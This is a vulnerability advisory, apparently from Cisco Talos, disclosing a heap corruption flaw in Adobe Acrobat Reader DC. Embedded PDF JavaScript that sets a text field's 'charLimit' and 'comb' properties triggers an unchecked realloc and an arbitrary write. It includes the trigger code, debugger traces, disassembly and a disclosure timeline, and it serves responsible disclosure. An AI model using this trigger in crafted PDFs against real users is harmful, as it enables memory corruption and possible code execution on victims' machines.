Talos Vulnerability Report


Adobe Acrobat Reader DC text field "comb" property remote code execution vulnerability

February 12, 2019
CVE Number



A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC, version 2019.8.20071. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2019.8.20071

Product URLs


CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H


CWE-252: Unchecked Return Value


Adobe Acrobat Reader is the most popular and feature-rich PDF reader on the market today. It has a large user base and is usually the default PDF reader on systems. The software integrates into web browsers as a plugin for rendering PDFs, as well. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow interactive PDF forms. This give the potential attacker the ability to precisely control memory layout and poses an additional attack surface.

While executing the following piece of code, an arbitrary out-of-bounds memory access can occur:

app.activeDocs[0].getField('txt1')['charLimit'] = 0xed000;
app.activeDocs[0].getField('txt1')['comb'] = {}; 

While manipulating text fields in a PDF, when comb property is set to true, the rendered text field will be split into boxes, with each character of the text field placed into their own one. The number of boxes is controlled by the charLimit property. Above, we set the charLimit property to a large value, which ultimately leads to out-of-bounds memory access. Specifically, the out-of-bounds access happens at the following code:

Breakpoint 5 hit
eax=540f0ba0 ebx=0c229a98 ecx=001400d4 edx=00007532 esi=410d8ff0 edi=410d8fe0
eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
6b5c53eb f30f110488      movss   dword ptr [eax+ecx*4],xmm0 ds:002b:545f0ef0=c0c0c0c0       [0]
1:009> u
6b5c53eb f30f110488      movss   dword ptr [eax+ecx*4],xmm0     
6b5c53f0 ff83e4010000    inc     dword ptr [ebx+1E4h]                                       [1]
6b5c53f6 8b4708          mov     eax,dword ptr [edi+8]
6b5c53f9 8945f4          mov     dword ptr [ebp-0Ch],eax
6b5c53fc 8b470c          mov     eax,dword ptr [edi+0Ch]
6b5c53ff 8945f8          mov     dword ptr [ebp-8],eax
6b5c5402 8d45f4          lea     eax,[ebp-0Ch]
6b5c5405 50              push    eax
1:009> dd eax 
540f0ba0  3aded289 418c0e56 3aded289 3f000000
540f0bb0  3b5ed289 418c0e56 3b5ed289 3f000000
540f0bc0  3ba71de7 418c0e56 3ba71de7 3f000000
540f0bd0  3bded289 418c0e56 3bded289 3f000000
540f0be0  3c0b4396 418c0e56 3c0b4396 3f000000
540f0bf0  3c28c155 418c0e56 3c28c155 3f000000
540f0c00  3c449ba6 418c0e56 3c449ba6 3f000000
540f0c10  3c6075f7 418c0e56 3c6075f7 3f000000
1:009> !heap -p -a eax                                                                                  [2]
    address 540f0ba0 found in
    _DPH_HEAP_ROOT @ e71000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                43870b94:         540f0ba0           500460 -         540f0000           502000
    6d67abb0 verifier!VerifierDisableFaultInjectionExclusionRange+0x000034c0
    6d67b07e verifier!VerifierDisableFaultInjectionExclusionRange+0x0000398e
    772c34bc ntdll!RtlpNtSetValueKey+0x000041cc
    7726e01a ntdll!RtlCaptureStackContext+0x0000f16a
    77221453 ntdll!RtlReAllocateHeap+0x00000043
    74bc1320 ucrtbase!realloc_base+0x00000030
    6b5c579a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0015111e                                             [3]
    6b5b0328 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013bcac
    6b5d9881 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00165205
    6b5d9238 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164bbc
    6b5d90b3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164a37
    6b5d8ce3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164667
    6b5d89d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0016435b
    6b5d75ae AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162f32
    6b5d704a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001629ce
    6b60e0db AcroRd32!CTJPEGDecoderRelease+0x0002436b
    6b5d6cc3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162647
    6b5d63db AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00161d5f
    6b6e78fc AcroRd32!CTJPEGDecoderRelease+0x000fdb8c
    6b6e69e3 AcroRd32!CTJPEGDecoderRelease+0x000fcc73
    6b4714d9 AcroRd32!DllCanUnloadNow+0x0001fcaf
    6b470fa5 AcroRd32!DllCanUnloadNow+0x0001f77b
    6b470d56 AcroRd32!DllCanUnloadNow+0x0001f52c
    6b411267 AcroRd32!AcroWinMainSandbox+0x000077f1
    7554be6b USER32!AddClipboardFormatListener+0x0000049b
    7554833a USER32!DispatchMessageW+0x0000097a
    75547bee USER32!DispatchMessageW+0x0000022e
    755479d0 USER32!DispatchMessageW+0x00000010
    6b46ffca AcroRd32!DllCanUnloadNow+0x0001e7a0
    6b46fd92 AcroRd32!DllCanUnloadNow+0x0001e568
    6b40a359 AcroRd32!AcroWinMainSandbox+0x000008e3
    6b409c2d AcroRd32!AcroWinMainSandbox+0x000001b7

When the breakpoint is hit at [0] we can see that, we are writing to a buffer pointed to by eax indexed by ecx and then at [2], we see where the buffer is allocated and that its size is large enough. At [1], we also see that the index that ends up in ecx is increased.

This code loops many times, bounded by the charLimit property set before. Eventually, the index will be increased enough that the buffer isn't big enough, at which point a different path will be taken, which leads to a call to realloc, at the same location we see at [3] above. This is the code that follows:

.text:601E577F lea     eax, [ecx+1388h]     
.text:601E5785 mov     [ebx+1D8h], eax
.text:601E578B shl     eax, 3
.text:601E578E push    eax
.text:601E578F push    dword ptr [ebx+1DCh]
.text:601E5795 call    indirect_realloc 
.text:601E579A mov     [ebx+1DCh], eax              [4]

At [4], the pointer returned by realloc is saved in ebx+1dc, which is where the pointer to the buffer used at [0] is stored. Notice that there is no check on the return value of this realloc call. Since this call is increasing the size of the buffer, which is ultimately controlled by the charLimit value, the call to malloc can fail. Unchecked NULL value will be written to buffer pointer and the code loops around to [0]. Usually this would cause just a NULL pointer dereference, but since index in the ecx is growing larger, and is multiplied by 4, we can control the offset of the NULL dereference which results in an arbitrary write. And indeed, if we remove the breakpoints, this results in the following crash:

(21d4.157c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0c229a98 ecx=003ae9fc edx=00007532 esi=410d8ff0 edi=410d8fe0
eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
6b5c53eb f30f110488      movss   dword ptr [eax+ecx*4],xmm0 ds:002b:00eba7f0=????????
1:009> dd ecx*4
00eba7f0  ???????? ???????? ???????? ????????
00eba800  ???????? ???????? ???????? ????????
00eba810  ???????? ???????? ???????? ????????
00eba820  ???????? ???????? ???????? ????????
00eba830  ???????? ???????? ???????? ????????
00eba840  ???????? ???????? ???????? ????????
00eba850  ???????? ???????? ???????? ????????
00eba860  ???????? ???????? ???????? ????????

Notice in the above debugging output that eax is NULL, but ecx is large enough to reach userland memory. The above crash is exhibited by the proof of concept with page heap enabled. With further memory control, a more precisely chosen buffer size for which the realloc fails could be chosen, thus enabling control of the write. This could possibly result in further memory corruption and arbitrary code execution.


2018-11-20 - Vendor Disclosure
2019-02-12 - Public Release


Discovered by Aleksandar Nikolic of Cisco Talos.